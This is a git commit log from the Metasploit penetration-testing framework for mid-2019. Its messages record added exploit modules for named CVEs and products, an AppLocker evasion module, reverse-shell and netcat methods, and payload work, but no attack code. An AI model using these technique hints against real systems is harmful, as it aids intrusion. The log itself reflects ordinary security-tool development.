Brent Cook 38b98dc6f7 Revert "Land #11903, initial implementation of "pingback" payloads"
This reverts commit 3bd3dfc86e, reversing
changes made to d7bc50fb25.

There is an issue with module cache builds when this is present that needs to be addressed.
2019-07-25 16:44:09 -05:00
Metasploit 5a5f3a88b7 automatic module_metadata_base.json update 2019-07-25 14:14:25 -07:00
William Vu 0d041df91f Actually test command shell support and fix it 2019-07-25 15:09:35 -05:00
William Vu da188502e4 Update method name for indexing from a list
Module-specific code was moved back into modules.rb and core.rb.
2019-07-25 14:26:42 -05:00
PingouinRF 65c9568623 Merge pull request #1 from rapid7/master
Updating from upstream
2019-07-25 20:45:30 +02:00
Brent Cook 3bd3dfc86e Land #11903, initial implementation of "pingback" payloads 2019-07-25 12:17:04 -05:00
Metasploit d7bc50fb25 Bump version of framework to 5.0.39 2019-07-25 10:05:33 -07:00
bwatters-r7 0537ea1f6c Changes to venom to handle pingbacks and really delete extra files, this time. 2019-07-25 11:02:48 -05:00
Metasploit 4bbf5768c8 automatic module_metadata_base.json update 2019-07-25 07:30:09 -07:00
Wei Chen f09cfade62 Land #11205, Add support for Linux and pubprn.vbs to web_delivery 2019-07-25 09:15:40 -05:00
bwatters-r7 709a9c2156 Remove async callback stuff for later work and change db checks 2019-07-25 09:08:22 -05:00
William Vu a22ad9ad42 Templatize HttpRawHeaders with ERB 2019-07-24 21:23:22 -05:00
William Vu 40b040b3e6 Cache "show payloads" and set PAYLOAD by index 2019-07-24 20:15:12 -05:00
William Vu 29d6c270d4 Fix setting PAYLOAD clearing target DefaultOptions 2019-07-24 17:38:14 -05:00
bwatters-r7 2f9e638b01 Other pry... 2019-07-24 17:15:20 -05:00
bwatters-r7 01b200bafa Unpry 2019-07-24 16:58:44 -05:00
bwatters-r7 bb1981462c fix copy/pasta error on payload data read 2019-07-24 16:06:52 -05:00
bwatters-r7 a84fb40a4b update the read/write for pingback data 2019-07-24 15:36:33 -05:00
William Vu 1ba0d1ee5b Once more, with feeling 2019-07-24 14:59:12 -05:00
William Vu 7730b510c1 Update HttpHeaders to HttpRawHeaders to match desc 2019-07-24 14:52:56 -05:00
William Vu 800737690a Add HttpHeaders file advanced option to HttpClient 2019-07-24 13:15:44 -05:00
Metasploit 4ca7808ed9 automatic module_metadata_base.json update 2019-07-23 11:38:46 -07:00
Wei Chen 8f8e32b246 Land #11795, Add evasion module applocker_evasion_install_util 2019-07-23 13:30:33 -05:00
Wei Chen 261759da11 Cosmetic changes 2019-07-23 13:28:15 -05:00
Metasploit 9f37381500 automatic module_metadata_base.json update 2019-07-23 10:29:47 -07:00
Wei Chen 967b2a018f Land #12010, Add exploit module for wp-database-backup Wordpress plugin 2019-07-23 12:21:23 -05:00
Wei Chen ca664512ce Minor corrections in check and a unsed return value 2019-07-23 12:20:14 -05:00
Metasploit adeef68617 automatic module_metadata_base.json update 2019-07-23 09:04:22 -07:00
Wei Chen 6dfcaedf02 Land #12116, cisco docs and bug fixes 2019-07-23 10:49:25 -05:00
William Vu 6448775d52 Land #12121, rex-text update to 0.2.22 for XOR 2019-07-23 10:17:08 -05:00
William Vu 0decb34f28 Bump rex-text gem to 0.2.22 for XOR enhancements 2019-07-23 02:35:11 -05:00
Metasploit f689b457ac automatic module_metadata_base.json update 2019-07-23 00:24:14 -07:00
William Vu 65bdd53962 Land #12033, xor_context hostname-keyed encoder 2019-07-23 02:14:03 -05:00
William Vu a952fc303b Fix play_pattern_timed 2019-07-22 23:53:24 -05:00
William Vu 3bc65b0e9e Play it like a real band 2019-07-22 22:23:44 -05:00
William Vu 3eb3ab1db2 Add side effects 2019-07-22 18:56:23 -05:00
William Vu e5e283a1dc Fix another module doc 2019-07-22 18:52:54 -05:00
William Vu 5688db10a3 Add module doc 2019-07-22 18:52:44 -05:00
William Vu 283f9d2e08 Add OS X Manage Sonic Pi post module 2019-07-22 18:46:02 -05:00
Metasploit 72b40c676a automatic module_metadata_base.json update 2019-07-22 16:09:37 -07:00
asoto-r7 6b60832988 Land #12095, Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-22 18:01:32 -05:00
asoto-r7 77a17f37e7 Land #12108, Prefer Rex::Text.dehex over hex_to_raw in msfvenom 2019-07-22 17:17:43 -05:00
bwatters-r7 182700da44 Fix variable name 2019-07-22 15:14:30 -05:00
bwatters-r7 787c346af2 Remove extra assignments elsewhere 2019-07-22 15:01:33 -05:00
Metasploit 20b650ec74 automatic module_metadata_base.json update 2019-07-22 12:56:03 -07:00
William Vu dd4033be49 Land #12111, nmod fix for non-scanner aux RHOSTS
Credit to @fd0 for finding the bug in java_rmi_registry.
2019-07-22 14:40:46 -05:00
bwatters-r7 6396bccf63 Removed superfluous assignment and populated datastore with pingback_uuid
for payloads that require the pingbackvalue to be in the datastore.
2019-07-22 13:59:57 -05:00
Shelby Pace 030ac60fce Land #12084, Add Schneider Encoder Exploit 2019-07-22 12:49:44 -05:00
Shelby Pace 0293e74190 remove extra lines 2019-07-22 12:28:47 -05:00
Shelby Pace 6a2ae1418a format xml, change headers 2019-07-22 12:24:55 -05:00
Wietsman 3b08ed88d1 #12095 added version check if vulnerable
#12095 cleaned up the code
#12095 added more output
#12095 added comments
2019-07-22 16:43:24 +02:00
h00die 0c510ca428 cisco spec w/ more usernames 2019-07-21 21:59:04 -04:00
h00die f19ddc11e8 cisco docs and bug fixes 2019-07-21 20:57:47 -04:00
Green-m 9203a0adf0 Fix typo in #11551 to solve aux rhosts issue. 2019-07-21 19:54:44 +08:00
Green-m e71b92aa60 We are not evil! 2019-07-21 09:33:18 +08:00
Wietsman 71da3b7903 #12095 Added cleaning up of trial account and dropper files. 2019-07-21 03:21:15 +02:00
vitorespf d498eaceaf Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-20 01:17:55 -03:00
vitorespf bfa17a05b4 Update schneider_electric_net55xx_encoder.rb 2019-07-20 00:44:21 -03:00
vitorespf af7eba5828 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-20 00:07:24 -03:00
vitorespf a70a74d480 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:41:31 -03:00
vitorespf 3c57741794 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:38:45 -03:00
vitorespf 836805b3cd Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 23:37:18 -03:00
vitorespf c0377c97c5 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:31:10 -03:00
William Vu 8ef76684ab Prefer Rex::Text.dehex over Rex::Text.hex_to_raw
The former allows character literals interleaved with escaped hex.
2019-07-19 18:06:59 -05:00
asoto-r7 4b27eddad2 Copy-pasta badness 2019-07-19 14:14:39 -05:00
asoto-r7 fe9efd5dac Added autoload entries for AsyncCallback 2019-07-19 14:04:38 -05:00
vitorespf e1e89882d6 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 14:08:34 -03:00
vitorespf f1a6c0cc45 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 14:08:09 -03:00
Green-m 07f3c074d4 Add doc and enhance the module. 2019-07-20 00:17:57 +08:00
vitorespf 68818aa4c7 Update schneider_electric_net55xx_encoder.rb 2019-07-19 10:30:05 -03:00
vitorespf 5732880db6 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 10:08:33 -03:00
vitorespf 460e83eb81 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:56:51 -03:00
vitorespf be791e551c Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:56:33 -03:00
vitorespf ea3932e31b Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:55:19 -03:00
vitorespf 4a2388cad7 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:54:49 -03:00
vitorespf 5f3f6f5b3f Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:54:34 -03:00
vitorespf 6f656e51c4 Add files via upload 2019-07-19 09:21:21 -03:00
bwatters-r7 6be5067b6c Catch public branch up with private 2019-07-18 16:08:40 -05:00
bwatters-r7 b89df1b3eb Fix printing in session handler while I'm at it... 2019-07-18 15:53:05 -05:00
bwatters-r7 66ff0af096 delete extra file 2019-07-18 15:45:41 -05:00
bwatters-r7 91ffeaa354 Clean up debugging, move options to one place and delete superflous file
change the uuid handing to prevent changes to it when it gets put in payloads
2019-07-18 15:44:20 -05:00
Metasploit c0033987b0 Bump version of framework to 5.0.38 2019-07-18 10:04:30 -07:00
vitorespf 7a552369df Update schneider_electric_net55xx_encoder.rb 2019-07-18 10:40:31 -03:00
Wietsman e26b650f31 #12095 Fixed Password complexity generation
#12095 Fixed trial account creation
#12095 Fixed calling functions
2019-07-18 13:13:39 +02:00
Guillaume Andre 395e4d2424 Update documentation. Register options by alphabetical order.
Change-Id: I46bb3701107a504dddbf030e0345d7adc83bafac
2019-07-18 10:45:44 +01:00
Wietse Boonstra 2b7d6e07b1 #12095 Fixed issue with function naming.
Added random username and password generating
2019-07-18 10:54:12 +02:00
bwatters-r7 2ebc2c10aa Maybe include the super pingback type in the payloads? 2019-07-17 14:13:42 -05:00
bwatters-r7 f2ed823516 First stab at filtering payloads that require cleanup 2019-07-17 13:23:20 -05:00
Wietsman c28bff8435 #12095 Added documentation 2019-07-17 12:55:18 +02:00
Green-m b6697f5016 Add redis rce module and data stuff.
To do:
1. Check env of system and compiler.
2. Add a compiled so file to be compatible with windows and mac.
3. Add doc.
2019-07-17 15:33:02 +08:00
vitorespf 20e79e08dc Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:26:18 -04:00
vitorespf 6f21abfe08 Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:16:34 -04:00
vitorespf 6897d2ce17 Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:03:46 -04:00
vitorespf 4ee745e21e Update schneider_electric_net55xx_encoder.rb 2019-07-16 21:52:28 -04:00
vitorespf c3fbd63654 Update schneider_electric_net55xx_encoder.rb 2019-07-16 21:45:06 -04:00
vitorespf 55cc66f893 Update schneider_electric_net55xx_encoder.rb
Breaking xmlPayload into multiple lines
2019-07-16 21:27:15 -04:00
Wietsman 26c87b1869 Wrap to 80 columns 2019-07-17 00:21:21 +02:00
Wietsman 73c6a11ccb Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-16 22:38:58 +02:00
Wietsman 2d86312f6c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-16 22:37:56 +02:00
Wietsman ac454d3044 Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-16 16:10:13 +02:00
Metasploit 182c8a23f4 automatic module_metadata_base.json update 2019-07-15 09:40:43 -07:00
Wei Chen 27bb166938 Land #12011, Add module for cve-2018-8453 2019-07-15 11:31:07 -05:00
vitorespf 07834d7355 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 12:00:24 -03:00
Metasploit 8ef4cca49f automatic module_metadata_base.json update 2019-07-15 07:52:11 -07:00
vitorespf 38f17b4062 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 11:48:43 -03:00
vitorespf 10b402fd7b Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 11:47:45 -03:00
Jacob Robles 5c0bbbbaa0 Land #12070, Add module for CVE-2019-0841 2019-07-15 09:32:47 -05:00
yaumn e51138fa4b Establish a tcp connection to check for the exim version. 2019-07-13 22:45:21 +01:00
yaumn 764a4a0692 Improve check regex 2019-07-13 19:57:03 +01:00
yaumn e2a9907e99 Add SendExpectTimeout option 2019-07-13 19:55:12 +01:00
yaumn f465e43e34 Change tcp communication with meterpreter 2019-07-13 19:25:34 +01:00
Metasploit 5df104c2dc automatic module_metadata_base.json update 2019-07-12 18:39:54 -07:00
William Vu d1c6364d58 Land #12086, joomla_registration_privesc check fix 2019-07-12 20:31:19 -05:00
William Vu 501a9109a5 Fix and refactor check method 2019-07-12 20:29:43 -05:00
Pedro Ribeiro 18f76f00b5 Rename modules/exploit/multi/http/cisco_dcnm_upload_2019.rb to modules/exploits/multi/http/cisco_dcnm_upload_2019.rb 2019-07-12 22:02:05 +01:00
Pedro Ribeiro 7386e416e6 Update and rename cisco_dcnm_upload_2019.rb to modules/exploit/multi/http/cisco_dcnm_upload_2019.rb 2019-07-12 22:01:29 +01:00
William Vu 2bc2b88ee6 vprint and quotes 2019-07-12 14:37:34 -05:00
Adam Cammack ca2f86f633 Land #12087, Use shell for passthrough commands 2019-07-12 14:02:51 -05:00
William Vu 77c0dacba2 Restore unknown_command passthrough to the shell
This continues to prefer system over popen, but it restores the original
behavior of shelling out, allowing the use of shell metacharacters, etc.
2019-07-12 13:39:37 -05:00
William Vu be5f15a245 Add @h00die and @bcoles changes 2019-07-12 12:46:13 -05:00
William Vu a586fda620 Land #12031, Msf::Exploit::Remote::Tcp#shutdown 2019-07-12 12:26:25 -05:00
Metasploit a46670b4cb automatic module_metadata_base.json update 2019-07-12 07:46:12 -07:00
Jacob Robles de40b3e1c4 Land #12062, Add Laravel PHP RCE CVE-2018-15133 2019-07-12 09:28:33 -05:00
Jacob Robles 30d7c9427f Add CVE reference 2019-07-12 09:08:15 -05:00
Jacob Robles 0f76729108 Update doc 2019-07-12 08:17:17 -05:00
bcoles 645b9179a2 Add support for pubprn 2019-07-12 23:16:43 +10:00
Jacob Robles 73b1790472 Use include? method 2019-07-12 07:59:30 -05:00
Jacob Robles e84379cabe Refactor 2019-07-12 07:45:24 -05:00
Guillaume Andre 60dbbb0455 Ensure temp files are deleted in every case
Change-Id: I53401e4bcce887048f433743a965421f93d699ba
2019-07-12 12:20:37 +01:00
bwatters-r7 a280d00612 Follow acammack's guidance for excluding filedropped exploits
usage of pingback payloads
2019-07-11 17:13:31 -05:00
Patrick Webster f13378c503 Minor fix for aux joomla_registration_privesc
Module checks for version number. If disclosed, checks for vulnerable release ranges.
Missing a Safe retval for known immune numbers.
2019-07-12 06:37:08 +10:00
Metasploit 8c89c81525 automatic module_metadata_base.json update 2019-07-11 13:35:37 -07:00
asoto-r7 f13616843c Land #12041, Add Xymon useradm Command Execution module 2019-07-11 15:20:13 -05:00
Jeffrey Martin 60ffc3a954 Land #12085, Fix is_payload_compatible? for nil payloads 2019-07-11 14:30:47 -05:00
William Vu 502a26bcbd Fix is_payload_compatible? for nil payloads 2019-07-11 14:00:24 -05:00
vitorespf 925d894f22 Add files via upload 2019-07-11 14:10:37 -04:00
Metasploit e6766c23a5 Bump version of framework to 5.0.37 2019-07-11 10:04:09 -07:00
Brent Cook 18b8974761 Land #11969, deprecate db_rebuild_cache command 2019-07-11 11:02:17 -05:00
Guillaume Andre 642a71383d Classic shell exploit now uses a bash script
Change-Id: I770cf9bcae5c5a265c19f2dc9e4a512e30705b6c
2019-07-11 17:01:23 +01:00
Guillaume Andre 565e18cbe8 Add a few checks
Change-Id: Ieca129a54d2105bf646e6f848cb5ecec804c372f
2019-07-11 14:20:21 +01:00
Guillaume Andre 6b8ee4e4f9 Fix typo
Change-Id: Ibde0c547fda37c38118d54c8dc219763e6e32f1f
2019-07-11 13:54:31 +01:00
Guillaume Andre 8e57599b95 Update documentation
Change-Id: Iaaed3de37d244d7c9fc81bd6d99bc5e4de6b050f
2019-07-11 13:52:08 +01:00
Pedro Ribeiro fa75632c7e Update cisco_dcnm_upload_2019.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-11 12:11:27 +01:00
Pedro Ribeiro eebe13c1de Update cisco_dcnm_upload_2019.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-11 12:11:16 +01:00
William Vu 2dcb646a16 Land #12080, system vs. popen for unknown_command 2019-07-10 21:24:42 -05:00
Metasploit 05382849a4 automatic module_metadata_base.json update 2019-07-10 16:04:18 -07:00
Jeffrey Martin 612bd2fcca Land 12079, No effing idea 2019-07-10 17:43:18 -05:00
Tod Beardsley fbfa37916c Tut tut
Edit a blue comment
2019-07-10 17:41:54 -05:00
Adam Cammack b419ab018c Gracefully handle passthrough commands
The `system` method handles input and output as appropriate, allowing
programs that need user input to execute properly without racing
msfconsole over STDIN
2019-07-10 17:40:49 -05:00
Metasploit 6f7c061bb0 automatic module_metadata_base.json update 2019-07-10 09:29:15 -07:00
yaumn 435240ed41 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:48 +01:00
yaumn 074c73236a Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:32 +01:00
yaumn 7812e0037b Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:13 +01:00
yaumn af89433c1d Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:23:50 +01:00
yaumn 9ffbfe0985 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:23:38 +01:00
yaumn a06dffa174 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:52 +01:00
yaumn f1eda91003 Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:38 +01:00
yaumn 8b54d0669d Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:26 +01:00
William Vu 4302c3f3b0 Land #12074, missing split fix for #12072 2019-07-10 11:17:56 -05:00
William Vu c917ec70d1 Fix missing split in struts2_rest_xstream 2019-07-10 11:15:36 -05:00
Metasploit a25f9afc9f automatic module_metadata_base.json update 2019-07-10 08:54:07 -07:00
William Vu cd3ffb92ef Land #12072, cmd_psh_payload arch string fixes 2019-07-10 10:38:22 -05:00
Guillaume Andre df28038279 Update documentation
Change-Id: I68d9e08695ed7cf0476d70030c1ff44c770c425b
2019-07-10 11:42:02 +01:00
Guillaume Andre 5d52b0326b Add better checks at the beginning of the exploit.
Change-Id: Ib80907f03f15b6c0cf32b48f059cf042e4d6a91f
2019-07-10 11:33:09 +01:00
Metasploit c5032df7fd automatic module_metadata_base.json update 2019-07-09 17:52:33 -07:00
h00die 9274b1d259 Land #12024, add gatherproof to ssh_login modules 2019-07-09 20:35:49 -04:00
Pedro Ribeiro 54b6e489a8 Add full disc link 2019-07-10 01:03:01 +01:00
Pedro Ribeiro 54f98cbdc3 Add full disc link 2019-07-10 01:02:41 +01:00
William Vu e6300bfd63 Fix cmd_psh_payload requiring an arch string
We may want to update Rex::Powershell to take the first in an array.
2019-07-09 17:43:23 -05:00
Shelby Pace 70d67f1dbb merged write_to_disk and load_dll_with_diaghub 2019-07-09 11:39:38 -05:00
Shelby Pace 86d0d1d153 remove validate_target 2019-07-09 10:52:02 -05:00
Guillaume Andre b68383141c Added Qualys and dhn to credits. Set suid bit of payload instead of shell launcher. Print detected exim version
Change-Id: I61805a4d2b6f7f8a268b677c3c6f1d76ada034da
2019-07-09 16:51:14 +01:00
Shelby Pace f7aa6d79d7 Update modules/exploits/windows/local/appxsvc_hard_link_privesc.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-09 10:47:57 -05:00
Shelby Pace c647d0ba52 made suggested change to write_payload 2019-07-09 10:46:46 -05:00
Shelby Pace 096857d1ad swap check codes 2019-07-09 10:01:49 -05:00
Shelby Pace f7c252eef3 move source to external/source directory 2019-07-09 09:08:28 -05:00
Jacob Robles a55aea33a9 Add cve-2018-8453 exploit module 2019-07-09 07:15:13 -05:00
Shelby Pace ccdb7ba262 remove unused variable 2019-07-08 12:57:47 -05:00
Shelby Pace f0f1a41ba5 add documentation and module 2019-07-08 12:49:22 -05:00
Patrick Webster 163e85bad9 fail Spaces at EOL is effing stupid unless the line is exponentiall^y long. 2019-07-08 11:36:49 +10:00
Patrick Webster a9ecef74fd Guessing build fail must be this. 2019-07-08 09:30:52 +10:00
Patrick Webster 5a035aaf7c Owch fix syntax. 2019-07-08 09:18:39 +10:00
yaumn df46faf71f Finish documentation. Exploit is stable. 2019-07-07 23:58:29 +01:00
Patrick Webster 691c606c53 Also some bare POSTs work. 2019-07-08 05:13:38 +10:00
Patrick Webster a9791fad74 Added Lavarel PHP exploit module with fixes. 2019-07-08 00:50:13 +10:00
yaumn 7b2a1b67ed Add a documentation file 2019-07-07 00:25:54 +01:00
Pedro Ribeiro 0f32f03dfd Update cisco_dcnm_download.rb 2019-07-06 23:15:19 +08:00
Pedro Ribeiro 691dfeaf00 Add files via upload 2019-07-06 22:58:49 +08:00
Pedro Ribeiro 9465a3c143 Delete cisco_dcnm_download.rb 2019-07-06 22:58:28 +08:00
Pedro Ribeiro f45ad6f30a add exploit for CVE-2019-1621 2019-07-06 22:56:12 +08:00
Pedro Ribeiro a33a981cdd Add exploit for CVE-2019-1619 2019-07-06 22:51:42 +08:00
Pedro Ribeiro c8419d9975 Merge pull request #9 from rapid7/master
aaa
2019-07-06 22:50:12 +08:00
yaumn a5843e48a9 Basic reverse shell does not disconnect anymore 2019-07-06 00:53:33 +01:00
Guillaume Andre 4c2cacd7d6 Add meterpreter support 2019-07-05 16:53:39 +01:00
yaumn 2c8ad0e357 First tests with meterpreter sockets 2019-07-05 01:04:15 +01:00
yaumn 74eb74e606 Pipe method with netcat now works 2019-07-04 23:15:23 +01:00
h00die 0d1385d8d5 Merge pull request #12 from jrobles-r7/tika
Tika module updates, check and CmdStager
2019-07-04 13:38:29 -04:00
Metasploit c1c600cbe8 Bump version of framework to 5.0.36 2019-07-04 10:10:16 -07:00
Guillaume Andre e4c27d3eab Clean pipe file
Change-Id: Ibc78639ad44eb56ffa26fcfb4f656b5a78dbf76a
2019-07-04 16:20:13 +01:00
Guillaume Andre 3c0b581371 Clean code
Change-Id: I83287dcd52c4ba566396a0ff7e4f3c3125d12bb0
2019-07-04 16:16:27 +01:00
Guillaume Andre 9b378ceb71 Add options. Add pipe netcat method
Change-Id: I0c401add1c2ff76e3e2c3d82a8fb7f74db405a1f
2019-07-04 15:02:03 +01:00
yaumn bddfef0cac Add options. Exploits now works with both setuid and nc methods 2019-07-04 00:16:28 +01:00
Shelby Pace c69799262d fixed issue with hard link exe 2019-07-03 15:44:00 -05:00
Shelby Pace a83812ad55 add source code, compiled exe for diaghub loading 2019-07-03 14:32:22 -05:00
Guillaume Andre a8e4510f53 Merge branch 'exim4-priv-esc' of github.com:yaumn/metasploit-framework into exim4-priv-esc
Change-Id: I6f14e91da0bc4bf692acaed1759540f4b5b5f908
2019-07-03 14:34:11 +01:00
yaumn bb58160d10 Exploits now also works with netcat 2019-07-03 14:30:23 +01:00
yaumn 4f1d9af5fd Add netcat method (still buggy though) 2019-07-03 14:30:23 +01:00
Guillaume Andre a2411a1d63 First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
2019-07-03 14:30:23 +01:00
Guillaume Andre bef6425d0e First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
2019-07-03 14:30:23 +01:00
Brendan Coles cd1669f2b2 Use identify_hash for creds 2019-07-03 08:33:26 +00:00
Brent Cook 0897849ddf Land #12045, lock rex-socket to 0.1.17 2019-07-02 16:55:54 -05:00
Metasploit 5eb339368f automatic module_metadata_base.json update 2019-07-02 14:35:20 -07:00
Brent Cook 6ab02ba0bc revert rex-socket back to 0.1.17 for now
This reverts a change that causes SSL certificate generation to not working properly through all of the various shim functions in rex-socket. This is the quickest fix which grants some time to ponder if the interface could be a little more robust in rex-socket in the first place.
2019-07-02 16:32:52 -05:00
William Vu ef20123c34 Land #12044, snmp_enum SNMP::NoSuchInstance fix 2019-07-02 16:26:33 -05:00
William Vu 64b385234f Land #12036, OpenVAS missing workspace import fix 2019-07-02 16:26:26 -05:00
Matthew Kienow 260c369aff Fix network interface processing
The SNMP walk operation can return an SNMP::NoSuchInstance class.
The error class must be handled rather than attempting to use it as a
valid value.
2019-07-02 15:14:55 -04:00
Metasploit eeca72d39b automatic module_metadata_base.json update 2019-07-02 10:59:24 -07:00
William Vu df85377ff3 Land #12042, bypassuac_silentcleanup author fix 2019-07-02 12:43:14 -05:00
William Vu 5e04ab2e66 Add lokiuox to bypassuac_silentcleanup authors
Looks like they were removed by accident.
2019-07-02 12:36:07 -05:00
Brendan Coles a0538a9613 Add Xymon useradm Command Execution module 2019-07-02 14:04:07 +00:00
Brendan Coles 14552a7332 Update documentation 2019-07-02 13:58:19 +00:00
Metasploit 295c484fe4 automatic module_metadata_base.json update 2019-07-01 14:39:07 -07:00
h00die a42c7ea736 land #11990 windows tomcat cmdlinearguments 2019-07-01 17:29:02 -04:00
h00die 9ab7b7f5e6 add cmdlineargs example 2019-07-01 17:19:04 -04:00
Metasploit eb643793a2 automatic module_metadata_base.json update 2019-07-01 14:16:38 -07:00
asoto-r7 d3056723e1 Land #12030, CVE-2019-12181: Serv-U FTP Server prepareinstallation privesc 2019-07-01 16:01:04 -05:00
Matthew Kienow 4e11dcfee1 Fix import issue caused by missing wspace key
Modify import module to follow pattern used in other Msf::DBManager
import modules. Test module updated for method name changes.
2019-07-01 15:58:36 -04:00
Brendan Coles 9539408e33 Add support for retrieving xymonpasswd 2019-07-01 10:51:34 +00:00
O . S . O 51fe61838d Create xor_context.rb 2019-07-01 10:36:08 +02:00
Brendan Coles f630350b1f Add documentation 2019-06-30 04:09:54 +00:00
Brendan Coles 1a7fb79cfc Add config retrieval 2019-06-30 04:03:17 +00:00
bcoles 82b583b2b5 Use symbolic args 2019-06-30 12:31:29 +10:00
Brendan Coles a4da66fabe Add Xymon Daemon Gather Client Host Information module 2019-06-29 16:48:39 +00:00
Brendan Coles b71fe69c16 Add shutdown method to Exploit::Remote::Tcp 2019-06-29 16:42:08 +00:00
Metasploit d723122e0e automatic module_metadata_base.json update 2019-06-29 03:52:23 -07:00
Brent Cook e50ab5cd13 Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd injection 2019-06-29 05:36:12 -05:00
Brent Cook 6fd18aaf8a add High Sierra scenario 2019-06-29 05:35:29 -05:00
Brent Cook 45734408a6 remove reload_search since refresh_cache_from_module_files seems to not work as expected at runtime 2019-06-29 03:51:56 -05:00
Metasploit 78967c3e6d automatic module_metadata_base.json update 2019-06-29 01:46:05 -07:00
Brent Cook a186396836 unlink the user store if it exists 2019-06-29 03:45:53 -05:00
Brent Cook 4756a17dfa remove update of the base module store 2019-06-29 03:37:54 -05:00
Brent Cook 42c0a3b96a deprecate the db_rebuild_cache command, add reload_search
For a while, Metasploit has not used the old database-backed module cache in favor of the lightweight JSON data store. This also means that the db_rebuild_cache command has been broken.

While the base module cache usually stays up to date, if you delete a module as a developer, there's currently no great way to make the search function forget about that module unless you rebuild the cache manually (a procedure mostly documented inside of an automated build job).

This moves the logic from that build job into the a new reload_search command, and deprecates the old one.
2019-06-29 03:36:39 -05:00
Brent Cook 4e544fe733 Land #11968, only enable UDP stagers for compatible payloads 2019-06-29 03:34:15 -05:00
Brent Cook 83e2c71b44 Land #11923, Set sockaddr_len with x64 shell_find_port payload 2019-06-29 03:26:52 -05:00
Brent Cook 03d1c87eb6 Land #11976, use special-case path for shell command with Android meterpreter 2019-06-29 03:23:27 -05:00
Brent Cook 06f6b0294c Land #12023, repeat search by default 2019-06-29 03:16:03 -05:00
bcoles 895a5b6aec Add software link 2019-06-29 14:15:31 +10:00
bcoles c7ff78c277 Remove spaces at EOL 2019-06-29 14:01:18 +10:00
Brendan Coles 203e3b74db Add Serv-U FTP Server prepareinstallation Privilege Escalation 2019-06-29 03:52:53 +00:00
William Vu 663e61d636 Land #12029, nil fix for core.private.jtr_format 2019-06-28 14:54:06 -05:00
Shelby Pace 6ebe192674 check core.private before accessing jtr_format 2019-06-28 14:17:52 -05:00
William Vu b8165e825d Make help syntax consistent 2019-06-28 14:01:28 -05:00
William Vu b39ed5eb02 Add period 2019-06-28 13:59:52 -05:00
William Vu 3f187d4f0a Update help 2019-06-28 13:58:14 -05:00
William Vu 3c09aa47d7 Once more, with feeling 2019-06-28 13:54:14 -05:00
William Vu fd7f6b2d59 Refactor match/search_params placement 2019-06-28 13:44:24 -05:00
William Vu 353428d10c Prefer cached results when given no arguments 2019-06-28 13:24:40 -05:00
asoto-r7 dd3db07b17 Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)! 2019-06-28 12:53:04 -05:00
Metasploit a0d10aad94 automatic module_metadata_base.json update 2019-06-28 10:40:38 -07:00
William Vu 0a00f3851a Land #12007, true 0s timeout in send_request_* 2019-06-28 12:32:32 -05:00
